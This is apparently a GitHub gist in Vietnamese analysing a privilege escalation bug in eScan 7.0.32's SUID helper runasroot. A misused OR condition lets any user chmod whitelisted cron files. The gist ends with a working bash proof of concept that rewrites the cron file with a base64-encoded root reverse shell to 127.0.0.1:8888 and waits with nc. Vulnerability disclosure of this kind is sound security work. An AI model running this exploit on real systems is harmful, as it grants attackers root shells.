Skip to content

Instantly share code, notes, and snippets.

@dmknght
Last active February 28, 2024 09:37
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dmknght/ac489cf3605ded09b3925521afee3003 to your computer and use it in GitHub Desktop.
Save dmknght/ac489cf3605ded09b3925521afee3003 to your computer and use it in GitHub Desktop.
Phân tích lỗ hổng priv esc trong escan 7.0.32

I. Overview

  • Ứng ụng có một số file có suid bit với owner root. Vì vậy, attacker có thể lợi dụng lỗ hổng trong các file này để leo thang dặc quyền.
  • Goal: Tạo được reverse shell với quyền root

II. Analysis

1. Cách hoạt động của runasroot (công cụ: cutter, ghidra)

Note: cutter (backend là rizin framework) sử dụng bộ framework capstone của anh Anh Quỳnh để phân tích và dịch ngược ra assembly code. Trong khi đó, Ghidra sử dụng bộ từ điển Sleigh riêng. Trong một một số trường hợp, kết quả dịch ngược của cùng 1 binary file khi sử dụng 2 framework này là khác nhau.

runasroot là một file ELF có chứa suid bit và sgid bit image

Chương trình thực hiện công việc như sau:

Nếu user hiện tại là root hoặc user do phần mềm ghi vào hệ thống, chương trình sẽ lưu vào một biến với giá trị là 1 nhằm cho phép thực thi lệnh sau đó

image

Tiếp theo, chương trình kiểm tra absolute path của đường dẫn mà người dùng nhập vào bằng hàm realpath(). Trong trường hợp kết quả trả về lỗi, đường dẫn file sẽ được lưu với giá trị NA (0x414e) image

Chương trình tiếp tục gọi đến một hàm để verify các arguments của người dùng nhằm đảm bảo câu lệnh được thực thi là an toàn

image

Ở đoạn này, Ghidra không thể nhận diện được các tham số được truyền vào trong hàm. Vì vậy, ta sử dụng Cutter để kiểm tra các tham số truyền vào

image

Do hạn chế của plugin Ghidra decompiler được sử dụng bởi Cutter, một số tên biến được tạo bởi decompiler không thể đổi tên được. Biến uStack_438 trong screenshot chính là biến lưu trữ giá trị của đường dẫn người dùng nhập vào sau khi dã kiểm tra bằng việc gọi hàm realpath() như đã phân tích ở trên.

Như vậy, nếu người dùng thực thi runasroot với các tham số như ./runasroot foo bar path_to_a_file thì chương trình sẽ verify như sau (pseudo code): int_err_verify = verify_command_args( (char*)[foo], (char*)[validate_real_path(path_to_a_file)])

Hàm verify_command_args so sánh tham số thứ nhất với chuỗi chmod image

Tiếp theo, hàm này sẽ kiểm tra đường dẫn người dùng nhập vào với một danh sách đã được định nghĩa sẵn image

Cuối cùng, chương trình kiểm tra sự hợp lệ của uid và các tham số, rồi thực hiện setuidsetgid, kiểm tra điều kiện thực thi lệnh trước khi gọi execve để execute command image

Trong trường hợp user gọi file runasroot không phải là root hoặc user phần mềm tạo ra, phần mềm sẽ kiểm tra quyền của người dùng đối với file mà user chỉ định thông qua hàm access(). Chương trình có tiếp tục thực hiện kiểm tra đường dẫn file như đã phân tích ở trên. Về cơ bản, luồng hoạt động của hàm này không khác gì luồng đã phân tích ở trên

image

Kết luận: runasroot là một chương trình cho phép user thực thi lệnh chmod nhằm thay đổi quyền hệ thống đối với một số file mà eScan tạo ra. Chương trình này có thực hiện các thao tác kiểm tra dữ liệu nhằm đảm bảo lệnh được thực thi là an toàn.

2. Phân tích điểm yếu trong thiết kế của runasroot

Khi kiểm tra kỹ danh sách cách file được phép thay đổi permission, ta thấy có 3 file như trong hình image

Trong đó, có 2 file đã được ghi vào cronjob của hệ thống dưới dạng symlink. image

Như vậy, ta có thể thấy một số vấn đề

  1. Các file crontab nằm trong whitelist. Sẽ thế nào nếu attacker có thể sửa đổi chúng nhằm thực hiện các lệnh độc hại?
  2. crontab được tạo symlink trong /etc/cron.d/. Như vậy, crontab sẽ luôn được hệ thống thực thi thông qua dịch vụ cronjob => Sẽ thế nào nếu hacker có lợi dụng các điều kiện rên để thực thi lệnh theo ý muốn?

3. Lỗ hổng xảy ra bởi sử dụng sai một toán tử

Quay trở lại với quá trình kiểm ra dữ liệu từ tham số (hàm verify_and_args() trả về giá trị 0 nếu tham số không hợp lệ, giá trị 1 nếu tham số hợp lệ)

image

Pseudo code như sau:

if (verify_args(args[1], validated_path) != error OR uid == 0 OR uid == 0xc4) then
{
  setuid(0);
  setgid(0);
  validate_command_conditions(); // hàm này thực hiện lại luồng kiểm tra trước đó. Trên thực tế, khi chương trình chạy đến đây thì hàm này không trả về lỗi
  execvp(command);
}

Ta có các dữ kiện:

  1. Nếu argv[1] là chmod và argv[3] là đường dẫn nằm trong danh sách được kiểm tra, hàm verify_and_args() luôn trả về giá trị hợp lệ
  2. Vì đoạn so sánh điều kiện sử dụng toán tử ||, chỉ cần 1. thỏa mãn, điều kiện này luôn dúng và đoạn code sau đó luôn được thực thi
  3. runasrootsuidsgid bit, nên unprivileged user luôn có thể sửa đổi quyền của các file cron của antivirus. Thông qua việc sửa đổi lại quyền của các file cron, attacker có thể ghi crobtab mới.
  4. Antivirus đã tạo symlink vào trong /etc/cron.d/. Vì vậy, hệ thống sẽ thực thi crontab được ghi đè thông qua cronjob.

Như vậy, ta có hướng khai thác như sau

  1. Attacker tận dụng lỗi logic trong runasroot để cấp quyền ghi vào file cron cho unprivileged user
  2. Attacker tiến hành overwrite file crontab nhằm thực thi mã độc
  3. Để crontab có thể thực thi được, attacker tiến hành rollback lại quyền của file vừa sửa đổi permisison bằng cách bỏ quyền write
  4. Attacker đợi crontab được thực thi bởi dịch vụ cronjob

Đoạn mã POC, tạo một reverse shell tới 127.0.0.1:8888

#!/bin/bash

# Modify permission of crontab
/opt/MicroWorld/sbin/runasroot chmod 777 /opt/MicroWorld/etc/mwavupdate

# Modify crontab to run malicious command

echo "KiAqICogKiAqIHJvb3QgYmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTI3LjAuMC4xLzg4ODggPCYxJwo=" | base64 -d > /opt/MicroWorld/etc/mwavupdate

/opt/MicroWorld/sbin/runasroot chmod 750 /opt/MicroWorld/etc/mwavupdate

nc -nvlp 8888

Khi crontab được trigger, attacker có reverse shell với quyền root image

Kiểm tra log bằng journalctl, có thể thấy quá trình thực thi đã được log lại image

Như vậy, attacker đã khai thác lỗ hổng thành công, qua đó leo thang đặc quyền từ unprivileged user trở thành root

III. References

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment